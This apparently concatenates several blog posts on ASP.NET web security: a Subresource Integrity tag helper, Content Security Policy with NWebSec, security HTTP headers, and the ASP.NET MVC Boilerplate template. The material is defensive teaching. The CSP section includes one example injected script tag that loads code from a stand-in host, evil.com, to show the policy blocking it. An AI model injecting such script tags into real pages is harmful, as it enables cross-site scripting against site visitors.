Last week I wrote part one of a blog post discussing a Subresource Integrity (SRI) tag helper I wrote for ASP.NET Core. It turns out the post was featured on the ASP.NET Community Standup and discussed at length by Scott Hanselman, Damian Edwards and Jon Galloway. Here is the discussion:

The overall impression from the standup was that the SRI tag helper I wrote was a good first step but there was more work to be done. It was however, still more secure than “the rest of the internet” according to Jon Galloway. The main issue raised during the standup was that the first call made to get the resource could retrieve a version of it that was compromised.

My initial thinking was that you could check the files at deployment time when the tag helper first runs. Then the tag helper would have calculated the hash and cached it without any expiration time, so you are good from then on. In hindsight checking the files on every deployment is not great for the developer.

The 2nd Iteration

So for the next iteration I have added a new alternative source attribute, basically a local file from which the SRI is calculated. Now the tag helper looks like this when in use:

You can also customize the hashing algorithm used in your SRI. You can choose between SHA256, SHA384 and SHA512, by default the tag helper uses the most secure option SHA512 which seems to be supported by all browsers. Should you choose to use a different hashing algorithm or even use more than one algorithm, you can set the asp-subresource-integrity-hash-algorithms attribute which is just a flagged enumeration (Note that I am using ASP.NET Core RC2 syntax, where the name of the enumeration can be omitted):

Reads the local file specified using the asp-subresource-integrity-src attribute.

Calculates a SHA512 hash (or your custom selection) for the file.

Adds the integrity and crossorigin attributes to the script tag.

Adds the hash value to the distributed cache (IDistributedCache) built in to ASP.NET Core MVC 6 with no expiry date. If you are using a distributed cache like Redis (Which you should for the pure speed of it) then the hash will be remembered.

The next time the page loads, the hash is retrieved from the cache, so there is very little performance impact of this tag helper.

Microsoft CDN Still Broken for SRI

In my last post I noted that SRI requires that the resource has a valid Access-Control-Allow-Origin HTTP header (usually with a ‘*’ value). Microsoft’s CDN does not supply this header for all it’s resources. I did reach out to Microsoft to see if this could be fixed. I’ve not heard back yet. I would imagine that with a CDN of that size, fixing this issue is a non-trivial thing so it might take time but I’ll do some more chasing.

Browser Extensions and SRI

Last week, I noted that leaving out the scheme in the URL for your CDN resource e.g. //example.com/jquery.js caused Firefox to error and fail to load the resource completely and I recommended that you always include the https:// scheme. It turns out that this was not Firefox causing the issue at all but a Firefox browser extension. I’ve yet to figure out which one yet as I have quite a few installed (most of them security related because I’m paranoid) but it’s probably an extension called HTTPS Everywhere which attempts to use HTTPS if it is available. To be on the safe side and avoid this problem, always specify the https:// scheme.

CDN Fallbacks

So what happens when a CDN script is maliciously edited or (much more likely) you messed up and your local copy of the CDN script is different from the one in the CDN? Well, this is where CDN script fallbacks come in. There is already a tag helper provided by ASP.NET Core that does this:

Now interestingly somebody on my ASP.NET MVC Boilerplate project raised an issue basically asking that both the fallback and subresource integrity tag helpers be combined. My personal opinion is that although there is some duplication, the tag helpers are doing different things so they should be kept different.

I should also mention that although the fallback tag helper is cool and very simple to use, it adds inline script which is not compatible with the Content Security Policy (CSP) HTTP header. If you care about security and you probably do if you are reading this, that means using the fallback tag helper is not possible. I myself prefer to move all my fallback checks to a separate JavaScript file.

sritest.io

A big shout out to Gabor Szathmari and his website sritest.io. It is able to scan your page and check that all your external resources have SRI enabled and most importantly that it has been setup correctly. You could use the console window from a browser like Chrome or Firefox but this website will also tell you if you’ve forgotten to add SRI to any external resources and also highlight edge cases such as the ones I highlighted in these two blog posts.

What is Subresource Integrity (SRI)

Can you trust your CDN provider? What if they get hacked and the copy of jQuery you are using hosted by them has some malicious script added to it? You would have no idea this was happening! This is where Subresource Integrity (SRI) comes in.

It works by taking a cryptographic hash of the file hosted on the CDN and adding that to your script or link tags. So in our case if we are using jQuery, we would add an integrity and crossorigin attribute to our script tag like so:

The cryptographic hashing algorithm used can be SHA256, SHA384 or SHA512 at the time of writing. In fact, you can use more than one at a time and browsers will pick the most secure one to check the file against.

The current official standard document states that currently only script or link tags are supported for your JavaScript or CSS. However, it also states that this is likely to be expanded to pretty much any tag with a src or href attribute such as images, objects etc.

Scott Helme has a great post on the subject which I highly reccomend you read (It’s where I learned about it).

The ASP.NET Core Tag Helper

I implemented a tag helper for ASP.NET Core MVC 6 which is as simple to use as this:

Don’t you love it when security is so easy! I’m a big believer in making security as easy as having a big red button that says ‘on’ and turning it on by default so people don’t have to. It’s the only way these things will get used! What is it doing behind the scenes?

Downloads the file from the CDN.

Calculates a SHA512 hash for the file.

Adds the integrity and crossorigin attributes to the script tag.

Adds the SHA512 hash value to the distributed cache (IDistributedCache) built in to ASP.NET Core MVC 6 with no expiry date. If you are using a distributed cache like Redis (Which you should for the pure speed of it) then the hash will be remembered.

The next time the page loads, the hash is retrieved from the cache, so there is very little performance impact of this tag helper.

There are actually two tag helpers, one supports any tag with a src attribute and another supports any tag with a href element. This is in preperation for when subresource integrity is opened up to tags other than script and link.

Gotchas

In the past, I have often omitted the scheme from the CDN URL like so:

However, I have noticed that Firefox, does not like it when you use SRI and omit the scheme. It stops the file from loading completely. When you think about it, this makes sense. We are trying to confirm that the resource has not been changed, one of the ways to do this is to use HTTPS. It does not make sense to use SRI over HTTP.

The other gotcha I found is that the resource must have the Access-Control-Allow-Origin HTTP header. It can be set to ‘*’ or your individual domain name. Now, I have been using CDN resources provided by Google (for jQuery), Microsoft (for Bootstrap, jQuery Validation etc.) and MaxCDN (for Font Awesome) because they are free, most browsers have probably already got a copy of the files from there and because they have very fast global exit nodes.

However, I have discovered that all provide the Access-Control-Allow-Origin HTTP header except Microsoft on some of their resources. Strangely, they return the header for Bootstrap but not for the jQuery Validation scripts. I have reached out to them through my capacity as an MVP and hope to get the issue solved. In the mean time, if you are using Microsoft’s CDN you can switch to another CDN or wait for them to fix the issue.

This series of blog posts goes through the additions made to the default ASP.NET MVC template to build the ASP.NET MVC Boilerplate project template. You can create a new project using this template by installing the Visual Studio template extension or visit the GitHub site to view the source code.

What is CSP?

For a true in-depth look into CSP, I highly recommend reading Mozilla‘s documentation on the subject. It really is the best resource on the web. I will assume that you’ve read the documentation and will be going through a few examples below.

Content Security Policy or CSP is a great new HTTP header that controls where a web browser is allowed to load content from and the type of content it is allowed to load. It uses a white-list of allowed content and blocks anything not in the allowed list. It gives us very fine grained control and allows us to run our site in a sandbox in the users browser.

Real World Example

So what does this look like in a web browser. Well, here is an example of a Content-Security-Policy HTTP header shown in Chrome. I used the ASP.NET MVC Boilerplate Visual Studio project template to create a ASP.NET MVC project that has CSP applied, right out of the box.

This is the HTTP header in the screenshot above. We’ll discuss it in a lot more detail later in this post. Essentially it says, block everything, except scripts, images, fonts, Ajax requests and forms to or from my domain and also allow scripts from the Google and Microsoft CDN’s.

Content-Security-Policy HTTP Header Example

JavaScript

1

2

3

4

5

6

7

8

Content-Security-Policy:default-src'none';

script-src'self'ajax.googleapis.com ajax.aspnetcdn.com;

style-src'self''unsafe-inline';

img-src'self';

font-src'self';

connect-src'self';

form-action'self';

report-uri/WebResource.axd?cspReport=true

So for example, you may only want to load CSS, JavaScript and Images from your own trusted domain(s) and block everything else. You also might want to block any use of third party plug-ins (Flash or Silverlight) or frames. Using this type of policy, the only way an attacker could compromise your site using an XSS attack, would be to somehow get a malicious script from your own domain served up on your pages in separate script files as in-line styles and scripts are not blocked by CSP by default (You can turn this off but I will go on to tell you why this is a bad idea later on).

An example of a malicious in-line script

XHTML

1

<script src="http://evil.com/Script.js"></script>

With the above CSP HTTP header in place if an attacker did manage to inject the script above, browsers would throw CSP violation errors and the evil script would not be executed or even downloaded. You can see what that looks like in Chrome below.

Even better, the browser never even downloads the evil script in the first place. You can compare the two screen-shots of Fiddler below. The left side shows that the evil Script.js file was never even requested but a Content Security Policy violation was logged to the URL highlighted (I’ll talk more about this later). The right side shows the site with no CSP policy in effect. The browser tries to download the evil Script.js file and as this is just demo and I haven’t gone to the trouble of setting up an evil website, it can’t be found and returns a 404 Not Found.

Content Security Policy Directives

There are a number of ‘directives’ that are used in the policy above. Mozilla has the full list of directives and how each is used here. Each directive controls access to a particular function in a web browser. I will not cover each one in details as they all work in the same way but I will cover the most important and unique directives below.

The default-src Directive

The ‘default-src’ directive lets us apply some default restrictions. For example if I specified the following CSP policy, it would allow all types of content from my sites domain, as well as TrustedSite.com.

Basic Content Security Policy

JavaScript

1

Content-Security-Policy:default-src'self'TrustedSite.com

Now the above policy is pretty loose, it tells a browser it can load frames, Ajax requests, Web Sockets, fonts, images, audio, video, plug-ins, scripts and styles from both of those domains. It may well be that you don’t use most of the things on that list. A much better policy would be to block everything by default and then only allow certain resources that you actually use as shown below.

More Secure Content Security Policy

JavaScript

1

2

3

4

5

6

7

Content-Security-Policy:default-src'none';

script-src TrustedSite.com;

style-src'self';

img-src'self';

font-src'self';

connect-src'self';

form-action'self'

You can see that ‘default-src’ has been set to ‘none’ which blocks everything by default. Then we add other directives that allow, scripts from TrustedSite.com and styles, images, fonts, Ajax request and form submissions to my sites domain. This is a lot more secure and restrictive but it does require you to think more carefully about your policy.

The report-uri Directive

The ‘report-uri’ directive is another special instruction. It gives the web browser a URL where it can post details of any violations to a CSP policy in JSON format. This is vitally important and allows us to find out about anyone trying to hack our site but probably much more likely, it allows us to find out about any resources that we have accidentally blocked because our policy was too restrictive and we did not do enough testing. In the example below, we are telling the browser to post CSP violation errors in JSON format to WebResource.axd?cspReport=true.

If we take the evil script above and try to add it to our page with the above CSP policy, we get a CSP violation error and you can see the JSON sent to us by the Chrome browser below. Please do note that different browsers do sent errors which are slightly different. Some browsers and indeed versions of browsers give more information than others.

The style-src Directive

As I’ve mentioned before in-line styles are not allowed when using CSP because there is a risk that an attacker could inject in-line styles into a compromised page. All styles must be referenced from external CSS files as shown below.

External style sheets are allowed

XHTML

1

<link href="/Site.css"rel="stylesheet"/>

In-line styles are not allowed

XHTML

1

2

3

4

5

<style>

p {

font-size:12pt;

}

</style>

There is an extension to this directive which allows inline styles but you should avoid it as it is unsafe. Indeed the setting you have to pass to the style-src directive is called ‘unsafe-inline’.

style-src directive and unsafe-inline

JavaScript

1

style-src'self''unsafe-inline'

The script-src Directive

Just like the style-src directive, script-src directive causes inline scripts to be blocked by default due to the risk of XSS attacks. Apart from inline scripts the JavaScript eval() function is also blocked by default.

External script files are allowed

XHTML

1

Inline scripts are not allowed

XHTML

1

//

Also just like the script-src directive, there is a way to enable inline scripts too which is also called ‘unsafe-inline’. There is also another extension called ‘unsafe-eval’, which allows access to the eval function. Once again these should be avoided and I have covered them here only because you should be wary of those who tell you to use them.

script-src directive with unsafe-inline and unsafe-eval

JavaScript

1

script-src'self''unsafe-inline''unsafe-eval'

The Content-Security-Policy-Report-Only HTTP Header

CSP can be a pretty dangerous HTTP header if you have misconfigured it. Imagine a user visiting a site and wanting to view a YouTube video on your site but your CSP policy has blocked the video and all they see is a blank space where the video should be and no indication that something is wrong, unless they are clever enough to use the browser developer tools. That’s a pretty poor user experience.

To combat this problem the W3C created the Content-Security-Policy-Report-Only HTTP header. This works just the same as Content-Security-Policy but it only reports violations of your policy and does not cause the browser to actually block anything.

CSP for ASP.NET MVC

So you’re sold on CSP and want to know how you can implement this great new HTTP header on your ASP.NET MVC website. Well, to get started all you need to do is install the NWebsec.Mvc NuGet package.

NWebsec is a great collection of MVC filters which can be applied globally to all requests or to individual controllers or actions. NWebSec contains a series of MVC filters to support CSP but includes several other filters which I’ve already blogged about here.

Here is the CSP policy I have applied to the ASP.NET MVC Boilerplate site and the code which is used to create it. This policy is applied to all responses from the site.

Notice how there is one MVC filter for each CSP directive. This is actually a very elegant solution. Consider the fact that you may want the actions in a particular controller to be able to display YouTube videos, note that YouTube makes use of iFrames to embed videos and it’s embed mark-up is shown below.

YouTube video iframe example

XHTML

1

[youtubehttp://www.youtube.com/watch?v=PGM_uBy99GA&w=560&h=315]

With the above CSP policy, the Chrome browser throws the following error.

We need to add the frame-src and child-src directive which can be added to the specific controller. Note that the child-src directive is a CSP 2.0 directive and frame-src is deprecated in CSP 2.0 but we still need to add it for older browsers.

Applying CSP directives to a MVC Controller

C#

1

2

3

4

5

6

[CspChildSrc(CustomSources="*.youtube.com")]

[CspFrameSrcAttribute(CustomSources="*.youtube.com")]

publicclassHomeController:Controller

{

// Action methods ommitted.

}

But what if we only want to allow a YouTube video to display for a single action rather, than all of the actions in a controller. Well its as simple as moving the attributes to the action, rather than the controller.

CSP Directives applied to an MVC action

C#

1

2

3

4

5

6

7

8

9

10

publicclassHomeController:Controller

{

[CspChildSrc(CustomSources="*.youtube.com")]

[CspFrameSrcAttribute(CustomSources="*.youtube.com")]

publicActionResult Index()

{

// This view displays a YouTube Video.

returnthis.View();

}

}

Setting up the reporting of CSP violations is a bit more complicated. You need to add the CspReportUriAttribute MVC filter and add a special function in your Global.asax.cs file to actually handle a violation as shown below.

The CspViolationReport is a representation of the JSON CSP violation that the browser sends you. It contains several properties, which can tell you about the blocked URL, the violated directive, the user agent and a lot more. This is your opportunity to log this data in your preferred logging framework.

One final note, all of this code is available to view on GitHub here and is part of the ASP.NET MVC Boilerplate project template.

Browser Support

CSP is a proper standard, you can read the W3C documentation here. According to the W3C at the time of writing, CSP is at Candidate Recommentation, which is “a version of the standard that is more firm than the Working Draft” and “The standard document may change further, but at this point, significant features are mostly locked”.

If you take a look at CanIUse.com, you can see that FireFox 23+, Chrome 25+, Safari 7+ and Opera 15+ already support the official Content-Security-Policy HTTP header, while the next version of IE (Spartan or IE12, who knows what they’ll name it?) will come with full support too.

A number of older browser versions supported CSP using the ‘X-Content-Security-Policy’ or ‘X-WebKit-CSP’ HTTP header (The ‘X-‘ is commonly used to add features to browsers which are not yet finalised) but these older implementations are buggy (Their use can mean content on your site gets blocked, even though you allowed it!) and should not be used.

Content Security Policy (CSP) 2.0

There is currently an ‘Editors Draft’ of CSP 2.0, written by the W3C standards body. It was published on 13 November 2014.

The intention of this version is to fill a few gaps and add a few new directives which allow control over web workers, embedded frames, application manifests, the HTML documents base URL, where forms can be posted and the types of plug-ins the browser can load. NWebsec supports most of these new directives already (except notably the plug-in types) and you can start using them today.

As well as these changes, CSP 2.0 also tries to address the pain points in using CSP and perhaps the reason for its slow take-up so far i.e. the inability to safely use in-line CSS and JavaScript using the style and script tags in your HTML.

So why would you want to use in-line styles and scripts in the first place? Well, do you use Modernizr? Yes, well Modernizr does not work with CSP (I discuss this below). It makes use of in-line styles to test for various web browser capabilities and so requires the ‘unsafe-inline’ directive to function. There are other libraries that also have a similar requirement. Other reasons for using in-line styles and scripts are to use CSP on an existing web application, where you don’t want to spend time moving to separate script files.

CSP 1.0 had the ‘unsafe-inline’ directive which allowed the use of in-line style and script tags but it is pretty dangerous and makes CSP partially pointless. It gives attackers the ability to inject code into your site (Using another vulnerability in your site if there is one) and to pull off a Cross Site Scripting (XSS) attack. Using CSP 1.0 meant loading styles and scripts from separate CSS and JavaScript files. CSP 2.0 introduces two new ways to use in-line styles and scripts.

Nonces

Nonces work a little like the Anti-Forgery Token in ASP.NET MVC. A cryptographically random string is generated and sent to the client in the CSP HTTP header, as well as in the HTML with the style or script tag like so:

There is a problem however, web browsers that only support CSP 1.0, will not understand the nonce directive and will block the in-line script above. To resolve this issue, we combine the nonce with the ‘unsafe-inline’ directive. CSP 1.0 web browsers will execute the in-line script as before (insecure but backwards compatible), but CSP 2.0 browsers will disregard ‘unsafe-inline’ when they see the nonce and only execute in-line scripts with the nonce set. This gives an upgrade path for existing sites and they can benefit from CSP 2.0 without requiring a massive rewrite to get rid of in-line styles and scripts.

Nonces can be easily implemented by using the HTML helper provided by NWebSec. You can find out more about how this feature is implemented in NWebSec here.

CSP 2.0 Nonces using NWebSec

XHTML

1

2

3

4

5

6

<script @Html.CspScriptNonce()>document.write("Hello world")</script>

<style @Html.CspStyleNonce()>

h1 {

font-size:10em;

}

</style>

The big disadvantage with this approach is that the nonce is different for each response sent to the client. This means that you cannot cache any page using nonces. If your page is specific to a user, then you probably don’t want to cache that page anyway and it doesn’t matter but otherwise using nonces is not possible.

Hashes

Using hashes solves the caching problem we have with nonces. The server computes the hash of a particular style or script tags contents, and includes the base64 encoding of that value in the Content-Security-Policy header like so:

As you can see, the script itself remains unchanged and only the HTTP header changes. We can now, happily cache the page with the in-line script in it. Unfortunately, at the time of writing NWebSec does not support hashes at all. If you feel this feature is worthwhile as I do, then you can raise an issue on NWebSec’s issue list.

Other CSP Support

So for the reasons you’ve learned above, using in-line styles and scripts is not the way to go. Apart from the fact that CSP will block them, you also cannot minify and obfuscate in-line scripts very easily using ASP.NET MVC (There are ways I have looked into but they aren’t very good). So moving scripts to external CSS and JavaScript files will mean you can use CSP and you might get a small performance boost. So what’s the problem? Well, CSP is not currently supported in a few major libraries.

Modernizr Support for CSP

As I’ve said above Modernizr makes use of in-line styles to test for various web browser capabilities and so requires the insecure ‘unsafe-inline’ directive to function. There is a fix for the problem but its very old and can no longer be merged into the current branch of the Modernizr code. I would fix it myself but I’m not enough of a JavaScript guru to do so. What I have done is raise this StackOverflow question which seeks to ask for a workaround or fix and to generally raise awareness.

So far, I’ve received no responses from GitHub or StackOverflow but there is hope. AngularJS (Another popular JavaScript library) has a CSP compatible mode which makes use of an external CSS file but is very easy to set up. There is no reason why Modernizr could not have something similar. Another alternative is if NWebSec supports hashes, we can add work out the hashes of any scripts that Modernizr is using and include these in our CSP HTTP header.

Browser Link Support for CSP

Browser Link is a very cool Visual Studio feature that allows you to update an MVC view while debugging and hit a refresh button to refresh any browsers using that page. Unfortunately, this handy feature is not compatible with CSP because Visual Studio adds in-line scripts to the bottom of the page you are debugging. This of course, causes CSP violation errors. A simple workaround is to either introduce the ‘unsafe-inline’ directive while debugging or turn off browser link altogether.

I have raised this suggestion on Visual Studio’s User Voice page to get the problem fixed. I understand that this area has been changed significantly in ASP.NET MVC 6, so it may not be needed by the time we all upgrade.

Mainstream CSP Adoption

So far, not many websites in the wild have implemented CSP. I think there are a few reasons:

Lack of browser support (Until now).

Lack of awareness by developers (Until this blog post I hope).

Framework providers such as Microsoft and its ASP.NET MVC have not given developers a way to implement CSP (NWebSec has stepped in here to fill this gap).

Prevalence of the use of in-line styles and scripts and unwillingness to switch to separate files (This is up to you).

Lack of support for CSP from popular CSS/JavaScript libraries due to the reason above (This is the biggest problem).

CSP gives us an extra layer of protection using a <a href=”http://en.wikipedia.org/wiki/Defense_in_depth_%28computing%29″>Defence in Depth</a> strategy. Some developers don’t take web security seriously enough until they get hacked.

The older CSP HTTP headers (‘X-Content-Security-Policy’ or ‘X-WebKit-CSP’) were buggy or had unexpected behaviour (The ‘Content-Security-Policy’ HTTP header no longer has this problem).

Developers are not making good use of the ability to report violations to their CSP policy using the ‘report-uri’ directive. If you find a violation, you can quickly discover if someone is attacking your site, your CSP policy is not valid or you have a bug in your site.

Developers are scared of breaking their site because their CSP policy is too strict (This is often because CSP is being retrofitted to an existing spiders web of a site. If you start with CSP from the ground up, you will not have this problem).

CSP in the Real World

Who is using CSP

According to the white paper, CSP is deployed in enforcement mode on only 1% of the Alexa Top 100 sites. I believe things are about to change. All major browsers now support the CSP HTTP header, NWebSec makes it easy to add to an MVC project, this blog post tells you exactly how it works and the ASP.NET MVC Boilerplate project template gives you a project template that enables CSP by default, right out of the box.

There are big names using CSP right now. Go ahead and check the HTTP response headers from sites like Facebook, CNN, BBC, Google, Huffington Post, YouTube, Twitter and GitHub. Things have moved on from when the white-paper was written and CSP adoption is starting to gain traction. Read Twitter‘s case study, on adopting CSP.

Browser Extensions and ISP’s

Another interesting finding from the white-paper was that browser extensions and even ISP’s were injecting scripts into pages, that caused CSP violation reports. CSP may break some browser extensions that inject code into the page. You may consider this a good or bad thing. From a security point of view, what you need to ask is, do you really trust any browser extension to modify your code? I don’t know about you but I don’t want any extensions and especially any ISP’s dirty fingers in my source code.

You can use SSL/TLS which will stop most ISP’s from fiddling with your code but some governments get around even this! So CSP gives us some extra protection from man in the middle attacks from browser extensions and ISP’s.

CSP and Advertising

Advertising can be a problem for CSP. Some ad providers are better than others. Some providers use resources whose locations are constantly changing which can cause CSP violation errors if your policy is too strict. CNN has adopted a novel workaround for this problem. It embeds all of its adverts into frames which show pages with no CSP restrictions or at least very liberal ones.

CSP Policy Generation

There are special web crawlers that have been created to crawl all of the links on your domain, in an attempt to generate a valid CSP policy automatically. CSP Tools is one such project on GitHub, which given a list of URL’s can crawl the web pages and generate a CSP policy. Another approach the tool uses is to look at your CSP violation error reports and come up with rules based on these.

Be careful using this approach however, it may not catch everything. The best approach is to build up your CSP policy as you build your site from the ground up and then carry out some testing to make sure you have got it right. You can set the CSP policy to report only mode, so that browsers don’t actually block anything but do report CSP violation errors, once you are happy that no violations are being reported, you can apply your policy. Finally, you need to keep an eye out for CSP violation errors if they do occur and get them fixed as soon as you see them.

Testing CSP Policies

The CSP Tester Chrome extension is an example of a tool you can use to apply CSP policies to your site and view the effects in the browser console window.

As I’ve mentioned before, the best way is to build CSP into your site as you build your site. You can use the report-uri directive to log any violations and get them fixed. You can also use the Content-Security-Policy-Report-Only HTTP header instead of Content-Security-Policy, to stop the browser from actually blocking anything if you are not confident in the level of testing you have done.

Conclusions

Wow, that was a long blog post. I wanted it to be as comprehensive as possible. I hope I’ve shown that now is the time to invest in implementing CSP and if you are developing a new site, then integrating CSP into it at an early stage will mean that you reap the benefits of a much greater level of security. The ASP.NET MVC Boilerplate project template is a great place to start and will give you a working code example which tells a thousand words on its own.

This series of blog posts goes through the additions made to the default ASP.NET MVC project template to build the ASP.NET MVC Boilerplate project template. You can create a new project using this template by installing the Visual Studio extension or visit the GitHub site to view the source code.

Web Security is Hard

Security is hard at the best of times. Web security…well…it takes things to a whole new level of difficulty. It is ridiculously easy to slip up and leave holes in your sites defences.

This blog post as well as the ASP.NET MVC Boilerplate project are not a replacement for your own knowledge but it does help in setting up some defaults to be more secure and giving you a few more tools out of the box to help secure your site.

If you have some time and want to learn more about web security I highly recommend Troy Hunt‘s Pluralsight course called Hack yourself first. Note that Pluralsight requires a paid subscription (I’m quite against posting links to paid content but this course is pretty good. You can also get a trial subscription if you’re interested). Here is a free video by Troy which covers the same topic but in a little less depth.

I would also, highly recommend reading up on Troy Hunt‘s blog which has extensive examples of real life websites in the wild, written by major companies getting web security horribly wrong.

NWebSec

Everything is preconfigured and commented as much as possible out of the box but remember this is a project template to get you started. You still need to put the effort in to customize the site security to your own requirements and put in some time learning about what each of the security features does and how best to use it.

HTTP Headers

HTTP has been around for a very long time and so, a fairly large number of HTTP headers have been accumulated over time. Some are more useful than others but many of them are aimed at making the web more secure.

X-Frame-Options

The X-Frame-Options HTTP header stops click-jacking by stopping the page from opening in an iframe or only allowing it from the same origin (your domain). There are three options to choose from:

SameOrigin – Specifies that the X-Frame-Options header should be set in the HTTP response, instructing the browser to display the page when it is loaded in an iframe – but only if the iframe is from the same origin as the page.

Deny – Specifies that the X-Frame-Options header should be set in the HTTP response, instructing the browser to not display the page when it is loaded in an iframe.

Disabled – Specifies that the X-Frame-Options header should not be set in the HTTP response.

We can use NWebSec to set it to block all iframe’s from loading the site which is the most secure option and the default option set in ASP.NET MVC Boilerplate.

Applying the NWebSec XFrameOptionsAttribute

C#

1

2

3

4

5

6

// Filters is the GlobalFilterCollection from GlobalFilters.Filters

filters.Add(

newXFrameOptionsAttribute()

{

Policy=XFrameOptionsPolicy.Deny

});

You should note that for newer browsers, this HTTP header has become superseded by the Content-Security-Policy HTTP header which I will be covering in my next blog post. However, it should still be used for older browsers.

Strict-Transport-Security

This HTTP header is only relevant if you are using TLS. It ensures that content is loaded over HTTPS and refuses to connect in case of certificate errors and warnings. You can read a complete guide to setting up your site to run with a free TLS certificate here.

NWebSec currently does not support an MVC filter that can be applied globally. Instead we can use the Owin (Using the added NWebSec.Owin NuGet package) extension to apply it.

Applying NWebSec UseHsts Owin Extension

C#

1

app.UseHsts(options=>options.MaxAge(days:30).IncludeSubdomains());

As well as this header, MVC ships with the RequireHttpsAttribute. This forces an unsecured HTTP request to be re-sent over HTTPS. It does so without requiring any extra HTTP headers. Instead, this is a function of the MVC framework itself, which checks requests and simply redirects users if they send a normal HTTP request to a HTTPS URL. This attribute can be set globally (Using HTTPS throughout your site is a good idea these days) as shown below:

Applying the ASP.NET MVC RequireHttpsAttribute globally

C#

1

filters.Add(newRequireHttpsAttribute());

Both of these lines of code have an overlapping purpose but work in different ways. The RequireHttpsAttribute uses the MVC framework, while the NWebSec option relies on browsers responding to the Strict-Transport-Security HTTP header. Security should be applied in thick layers, so it’s worth using both features. ASP.NET MVC Boilerplate assumes you are not using TLS by default but does include the above lines of code commented out with a liberal sprinkling of comments to make it easy to add back in.

X-Content-Type-Options

This HTTP header stops IE9 and below from sniffing files and overriding the Content-Type header (MIME type) of a HTTP response. This filter is added by default in ASP.NET MVC Boilerplate.

Applying the NWebSec XContentTypeOptionsAttribute

C#

1

filters.Add(newXContentTypeOptionsAttribute());

X-Download-Options

This HTTP header stops the automatic downloading and opening of your HTML pages by browsers which then go on to run the page as if it were part of your site. It and forces the user to save the page and manually open the HTML document. This filter is added by default in ASP.NET MVC Boilerplate.

Applying the NWebSec XDownloadOptionsAttribute

C#

1

filters.Add(newXDownloadOptionsAttribute());

Other HTTP Headers

NWebSec provides a number of other useful HTTP headers. The SetNoCacheHttpHeadersAttribute helps turn off caching by applying the Cache-Control, Expires and Pragma HTTP headers (Expires and Pragma have been superseded by Cache-Control but still need to be applied for backward compatibility).

Another useful filter provided is XRobotsTagAttribute. This adds the X-Robots-Tag HTTP header, which tells robots (Google or Bing) not to index any action or controller this attribute is applied to. Note, that ASP.NET MVC Boilerplate includes a robots.txt file which you should use instead of this filter but I’ve added this here for completeness.

A good place to use these attributes would be on a page where you want to post back credit card information because caching credit card information could be a security risk and you probably don’t want search engines indexing your checkout pages either.

Example of using the SetNoCacheHttpHeadersAttribute and XRobotsTagAttribute filters.

The CspAttribute filter adds valuable support for the new Content-Security-Policy (CSP) HTTP header. I will be covering this extensively in my next blog post so I’ve only mentioned it here. There are other HTTP headers but they turn off browser security features and I’m not really sure why you would use those.

Conclusions

In the image below, you can see the ASP.NET MVC Boilerplate site in action. I’ve taken a screenshot of the HTTP response headers. You will see the ones listed in this email among them.

Using HTTP headers for security is just one extra tool in your arsenal to secure your site. As you will see in my next post about the new Content-Security-Policy (CSP) HTTP header, it can be a very powerful tool but not one to be used in isolation. You need to think about security across the whole spectrum of your site to catch all the glaring holes you may have missed.

ASP.NET MVC Boilerplate is a professional ASP.NET MVC template for building secure, fast, robust and adaptable web applications or sites. It provides the minimum amount of code required on top of the default MVC template provided by Microsoft.

The main benefits of using this template are:

Security

Performance

Search Engine Optimization (SEO)

Accessibility

Browser Compatibility

Resilience and Error Handling

Easier Debugging and Performance Testing Tools

Patterns and Practices

Atom Feed

Search

Social Media Support

ASP.NET 4.6 MVC 5 and ASP.NET 5 MVC 6 Support

Two templates are provided. One for ASP.NET 4.6 MVC 5 and another ASP.NET 5 MVC 6 template which is currently under development and is missing some features due to ASP.NET 5 still being in Beta. For more information about what’s new in the MVC 6 template, see here.

MVC 5 Technology Map

MVC 6 Technology Map

Why Do I Need It?

The default MVC template that Visual Studio gives you does not make best use of the tools available. It’s insecure, slow, and really has a very basic feature list (That’s the point of it). ASP.NET MVC Boilerplate provides you with a few more pieces of the puzzle to get you started quicker. It makes liberal use of comments and even gives you a check-list of tasks which you need to perform to make it even better.

The rest of this article is going to briefly go through the improvements made over using the default MVC template. I’ll then finish up with instructions on how you can use it. Also, look out for more posts in the future, where I will go through each feature in detail.

Secure By Default

The default MVC template is not as secure as it could be. There are various settings (Mostly in the web.config file) which are insecure by default. For example, it leaks information about which version of IIS you are using and allows external scripts to access cookies by default!

ASP.NET MVC Boilerplate makes everything secure by default but goes further and uses various HTTP headers which are sent to the browser to restrict things further.

It also makes use of the new Content Security Policy (CSP) HTTP Header using the NWebSec NuGet packages. CSP revolutionizes web security and I highly recommend reading the above link.

Setting up SSL/TLS, so that your site runs over HTTPS is made easy with easy step by step instructions and links.

Fast By Default

The default MVC template does a pretty poor job in the performance department. Probably because they don’t make any assumptions about which web server you are using. Most of the world and dog that are writing ASP.NET MVC sites use IIS and there are settings in the web.config file under the system.webServer section which can make a big difference when it comes to performance.

ASP.NET MVC Boilerplate makes no such assumptions. It turns on GZip compression for static and dynamic files being sent to the browsers making them smaller and quicker to download. It also uses Content Delivery Networks (CDN) by default to make common scripts like jQuery quicker to download (You can turn this off of course but the point is ASP.NET MVC Boilerplate is fast by default).

That’s not all! There are a bunch of other tweaks and examples of practices which can help improve the performance of the site. ASP.NET MVC Boilerplate achieves a score of 96/100 on YSlow (Its not possible to get the full 100 as some of it’s criteria contradict each other and site scripts need to be moved to a CDN).

Search Engine Optimization (SEO)

The default ASP.NET MVC template takes no consideration of Search Engine Optimization at all. ASP.NET MVC Boilerplate adds a dynamically generated robots.txt file to tell search engines which pages they can index. It also adds a dynamically generated sitemap.xml file where you can help search engines even further by giving them links to all your pages.

ASP.NET MVC has some very useful settings for appending trailing slashes to URL’s and making all URL’s lower case. Unfortunately, both of these are turned off by default, which is terrible for SEO. This project turns them on by default.

It also includes an MVC filter which helps to redirect non-canonical URL’s (URL’s without a trailing slash or mixed case characters which are considered different URL’s by search engines) to their canonical equivalent.

Accessibility

4% of the world population is estimated to be visually impaired, while 0.55% are blind. Get more statistics here. ASP.NET MVC Boilerplate ensures that your site is accessible by adding aria attributes to your HTML mark-up and special short-cuts for people using screen readers.

Browser Compatibility

Websites need to reach as many people as possible and look good on a range of different devices. ASP.NET MVC Boilerplate supports browsers as old as IE8 (IE8 still has around 4% market share and is mostly used by corporations too lazy to port their old websites to newer browsers).

ASP.NET MVC Boilerplate also supports devices other than desktop browsers as much as possible. It has default icons and splash screens for Windows 8, Android, Apple Devices and a few other device specific settings included by default.

Resilience and Error Handling

At some point your site is probably going to throw an exception and you will need to handle and log that exception to be able to understand and fix it. ASP.NET MVC Boilerplate includes Elmah, the popular error logging addin. It’s all preconfigured and ready to use.

